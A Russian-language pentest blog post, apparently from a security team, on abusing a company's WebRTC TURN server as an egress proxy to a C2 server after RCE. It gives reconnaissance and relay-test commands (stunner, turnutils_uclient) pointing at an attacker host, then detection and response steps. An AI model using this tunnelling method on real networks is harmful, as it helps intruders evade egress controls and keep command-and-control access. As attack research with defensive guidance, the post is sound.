Когда в проектах по анализу защищённости мы получаем RCE и пробиваем внешний периметр, возникает вопрос — есть ли на пробитом хосте выход в Интернет? Если есть, мы сможем установить быстрый канал с C2-сервером, настроить SOCKS-прокси для других тулов и продолжать работы. Но хост может оказаться глубоко в локальной сети, а доступ в Интернет — сильно порезан.

И тут полезно проверить, есть ли у заказчика специальный хост-ретранслятор для видеоконференций (ВКС) на внешнем периметре. Такие хосты называются TURN-серверами и используются для связи абонентов, которые не имеют прямой видимости, то есть находятся за NAT-ом. Но злоумышленники могут использовать такой сервер для своих целей.

Как это работает:

В WebRTC-звонках есть несколько важных сущностей.

— Signal plane: канал, через который клиенты получают параметры звонка, адреса TURN-серверов и креды;

— ICE (Interactive Connectivity Establishment): механизм, который определяет, как пирам установить наибыстрейшее соединение;

— Host candidate: пиры видят друг друга в локальной сети;

— Reflexive/STUN: пиры за NAT, но достижимы через внешний адрес;

— TURN: трафик идёт через промежуточный relay-сервер.

Если прямая связь невозможна из-за NAT/firewall, клиент отправляет на TURN запрос Allocate Request, передаёт креды и получает relay-адрес. Дальше данные идут через Send Indication или ChannelData.

Сетевой администратор может открыть доступ из внутренней сети до TURN-сервера как раз для этого, чтобы сотрудники могли пользоваться видеоконференциями. Однако у TURN-серверов есть фича перенаправления трафика, и она может быть использована для проксирования трафика куда угодно, в том числе и на наш C2.

Условия эксплуатации:

— есть RCE/foothold на внутреннем хосте;
— с него доступен TURN-сервер;
— TURN-сервер находится на внешнем периметре (виден из Интернета);
— известны turn_user / turn_pass;
— TURN разрешает relay на внешний white_ip:port.

Наличие TURN-сервера мы определяем на этапе разведки. Чтобы проверить TURN на внешнем периметре, можно использовать stunner:

stunner info -turnserver <ip>:<port>

Если TURN настроен с аутентификацией (как правило, это так), нужно подключиться к ВКС и получить логин/пароль доступа к TURN из signal plane. Затем можно проверить возможность ретрансляции на внешние адреса:

turnutils_uclient -n 1 -I -c \
  -u <turn_user> \
  -w <turn_pass> \
  -e <white_ip> \
  -r <port> \
  -p <turn_port> \
  <turn_ip>

Если вы видите трафик на white_ip:port от TURN-сервера, значит, проксирование возможно. Поэтому идём дальше:

— используем креды, полученные через signal plane,
— с пробитого хоста отправляем Allocate Request на TURN,
— в качестве destination указываем свой внешний хост, и
— TURN начинает ретранслировать трафик наружу.

Плюс такого метода: получаем дополнительный канал egress, когда прямой Интернет или корпоративная прокси недоступны.

Минусы: скорость ниже, чем у SOCKS/proxy; TURN-креды имеют срок действия; после expiration date нужно заново поднимать канал.

Как ловить атаку:

Мониторить исходящий трафик с TURN-сервера. Если TURN ходит на неизвестные внешние IP, если есть пакеты ChannelData и Send Indication не в сторону вашей инфры — это верный признак того, что кто-то проксируется через ваш TURN.

Как реагировать:

— проверить, какие внутренние хосты инициировали Allocate Request;
— сопоставить время активности с реальными ВКС-сессиями;
— найти внешний white_ip, куда TURN ретранслировал трафик;
— отозвать/обновить TURN-креды;
— ограничить relay только на ожидаемые направления;
— проверить пробитый хост на RCE/foothold.

А ещё полезно запретить анонимные звонки в вашей ВКС. Это усложнит жизнь злоумышленнику: в таком случае ему ещё надо найти креды от звонка, а уже потом по signal plane получить TURN-креды.